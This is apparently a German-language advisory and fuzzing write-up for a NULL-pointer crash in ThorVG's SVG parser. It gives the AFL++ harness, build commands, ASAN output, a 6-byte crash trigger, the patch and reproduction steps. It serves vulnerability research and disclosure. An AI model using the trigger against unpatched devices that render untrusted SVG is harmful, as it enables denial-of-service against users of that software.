CVE-2026-45729 — NULL-Pointer-Dereferenzierung in ThorVG über fehlerhaftes SVG

Schweregrad: CVSS 4.3 (Mittel) — CWE-476
Advisory: GHSA-f863-8ghq-7h64
Behoben: ThorVG v1.0.5
Status: Gepatched / Offengelegt

Zusammenfassung

Der SVG-Parser von ThorVG dereferenziert einen Zeiger, der nie initialisiert wird, wenn er auf ein abgeschnittenes Child-Element-Tag in einem Root-<svg>-Knoten stößt. Der Fehler ist über den normalen Rendering-Pfad (tvg::Picture::load → parse → render) erreichbar und kann mit einer 6-Byte-Eingabe ausgelöst werden.

Die schlimmsten Auswirkungen auf Standard-Linux sind ein Prozessabsturz (DoS) — mmap_min_addr verhindert das Mappen der NULL-Seite, sodass der Fehler in dieser Umgebung nicht direkt für die Codeausführung ausgenutzt werden kann. Auf MMU-losen Zielen, auf denen ThorVG ebenfalls verwendet wird (Tizen, LVGL-basierte Firmware), ist die Ausnutzbarkeit anders und bedarf einer genaueren Betrachtung.

Begründung der Zielauswahl

ThorVG ist eine plattformübergreifende Vektorgrafik-Engine, geschrieben in C++17. Es ist der Standard-SVG/Lottie-Renderer in Samsung Tizen OS, ist in LVGL (weit verbreitet in eingebetteten/IoT-UIs) enthalten und wird als eigenständige Bibliothek auf mehreren Plattformen vertrieben.

Die Bibliothek verarbeitet nicht vertrauenswürdige SVG/JSON-Eingaben und ist oft in Kontexten ohne Privilegientrennung exponiert. Parser-Code in Grafikbibliotheken war historisch gesehen eine zuverlässige Quelle für Speichersicherheitsfehler — ThorVG wird aktiv entwickelt und hatte zum Zeitpunkt dieser Forschung keine dokumentierte Fuzzing-Abdeckung in öffentlichen Bug-Trackern.

Fuzzing-Einrichtung

Harness

Die Harness kapselt ThorVGs In-Memory-Lade-API, sodass AFL++ den Parser direkt ohne Festplatten-I/O antreiben kann.

// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    if (size == 0) return 0;

    tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);

    auto canvas = tvg::SwCanvas::gen();
    uint32_t buf[64 * 64] = {};
    canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);

    auto picture = tvg::Picture::gen();
    // Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
    if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
            == tvg::Result::Success) {
        canvas->push(tvg::cast(picture));
        canvas->draw();
        canvas->sync();
    }

    tvg::Initializer::term(tvg::CanvasEngine::Sw);
    return 0;
}

Build mit ASAN + Coverage-Instrumentierung:

clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
    -fcoverage-mapping -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    $(pkg-config --cflags --libs thorvg)

Seed-Corpus

Von Grund auf mit zufälligen Bytes zu beginnen, funktioniert bei formatempfindlichen Parsern schlecht. Ich habe den Corpus mit einer Reihe strukturell gültiger minimaler SVG-Dateien befüllt, die Folgendes abdecken:

• Leeres SVG (<svg xmlns="..."/>)
• SVG mit Grundformen (<rect>, <circle>, <path>)
• SVG mit einer verschachtelten <g>-Gruppe
• SVG mit einem <use>-xlink-Verweis
• Eine kleine Lottie/JSON-Animation (ThorVG verarbeitet auch dieses Format)

Strukturbewusste Seeds verkürzten die Zeit bis zu ersten interessanten Pfaden in meiner Umgebung von Stunden auf unter 20 Minuten.

AFL++-Flags

AFL_AUTORESUME=1 afl-fuzz \
    -i corpus/ \
    -o findings/ \
    -x svg.dict \
    -m none \
    -- ./fuzz_thorvg @@

-x svg.dict — AFL++-Token-Wörterbuch mit SVG-Schlüsselwörtern, um die Mutation in Richtung gültiger Tag-Namen zu unterstützen.
-m none — ASAN-Schatten-Speicher erfordert das Deaktivieren des AFL++-Speicherlimits.

Crash-Entdeckung

AFL++ erzeugte nach etwa 3 Stunden Single-Core-Fuzzing einen Crash. Die ursprüngliche abstürzende Eingabe war ~180 Bytes. Die ASAN-Ausgabe:

==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...

Der Fehler ist ein Lesevorgang über einen nicht initialisierten (NULL) SvgNode*-Zeiger innerhalb von _parseStyle. Der Zeiger soll von _createElement gesetzt werden, wenn es ein Child-Element verarbeitet, aber ein abgeschnittener Tag-Name führt dazu, dass das Element übersprungen wird, ohne dass der Zeiger zugewiesen wird, und _parseStyle dereferenziert ihn trotzdem.

Minimierung

Minimiert mit afl-tmin, dann manuelles Trimmen:

afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@

Nach afl-tmin war die Eingabe 14 Bytes groß. Die manuelle Inspektion des Parse-Pfads zeigte, dass nur die ersten 6 Bytes vor dem Fehler verarbeitet wurden:

<svg><

<svg> öffnet den Root-Knoten. < beginnt ein Child-Element-Tag. Der Parser liest den Tag-Namen, erhält einen leeren String (die Eingabe endet unmittelbar nach <), überspringt die Elementerstellung und fällt in _parseStyle hinein, während der Knotenzeiger noch NULL ist.

Bestätigen Sie, dass der 6-Byte-Trigger reproduziert:

printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg

Ursache

src/loaders/svg/tvgSvgParser.cpp

Vereinfachter Pseudocode des verwundbaren Ablaufs:

// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName);   // tagName == "" → returns nullptr

// No NULL check before passing into style parser
_parseStyle(node, attributes);             // ← dereferences node->style at offset 0x18

Der Fix in v1.0.5 fügt eine frühzeitige Rückkehr in der Element-Dispatch-Schleife hinzu, wenn _createElement nullptr zurückgibt, bevor eine Attribut-/Stil-Verarbeitung versucht wird.

Ausnutzbarkeitsanalyse

Standard-Linux (CVSS 4.3 / Mittel)

/proc/sys/vm/mmap_min_addr ist auf modernen Distributionen normalerweise auf 65536 gesetzt. Die NULL-Seite ist nicht gemappt, sodass die CPU ein SIGSEGV auslöst, das der Kernel in ein Signal an den Prozess umwandelt — Ergebnis ist ein Absturz (DoS). Kein kontrollierter Schreibvorgang, keine PC-Kontrolle, nicht direkt für die Codeausführung ausnutzbar.

Eingebettete / MMU-lose Ziele

ThorVG ist ein Bürger erster Klasse in Tizen (Samsung IoT/Wearable-OS) und ist in LVGL integriert, das auf Mikrocontrollern und Systemen ohne MMU läuft.

Auf MMU-losen Systemen gibt es keinen Speicherschutz und mmap_min_addr findet keine Anwendung. Wenn die NULL-Seite gemappt ist (was in Bare-Metal-Eingebettetumgebungen üblich ist), kann eine NULL-Pointer-Dereferenzierung potenziell auf vom Angreifer kontrollierten Speicher zeigen. Ob dies in einem echten Angriff erreichbar ist, hängt von der Angriffsfläche ab — ThorVG auf einem Tizen-Gerät kann SVG aus nicht vertrauenswürdigen Netzwerkquellen oder benutzerbereitgestellten Inhalten parsen.

Dieser Kontext rechtfertigt die verantwortungsvolle Offenlegung selbst für einen CVSS-Mittel-Fund.

Offenlegungszeitplan

Patch-Diff (Zusammenfassung)

Der Patch fügt eine NULL-Prüfung in der SVG-Element-Dispatch-Schleife hinzu:

// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs);   // unconditional

// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue;        // skip if element was not created
_parseStyle(node, attrs);

Vollständiger Diff: ThorVG v1.0.5 release

Reproduktion (sicher, nur lokal)

# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build

# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    -Ibuild/src/include -Lbuild/src -lthorvg

# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin

Erwartete Ausgabe: ASAN-Bericht mit SEGV on unknown address 0x000000000000 in tvg::SvgParser::_parseStyle.

Referenzen

• GHSA-f863-8ghq-7h64
• ThorVG project
• CWE-476: NULL-Pointer-Dereferenzierung
• AFL++-Dokumentation

Gefunden von yeahhbean (이예빈) durch AFL++-abdeckungsgesteuertes Fuzzing mit strukturbewusstem SVG-Seed-Korpus.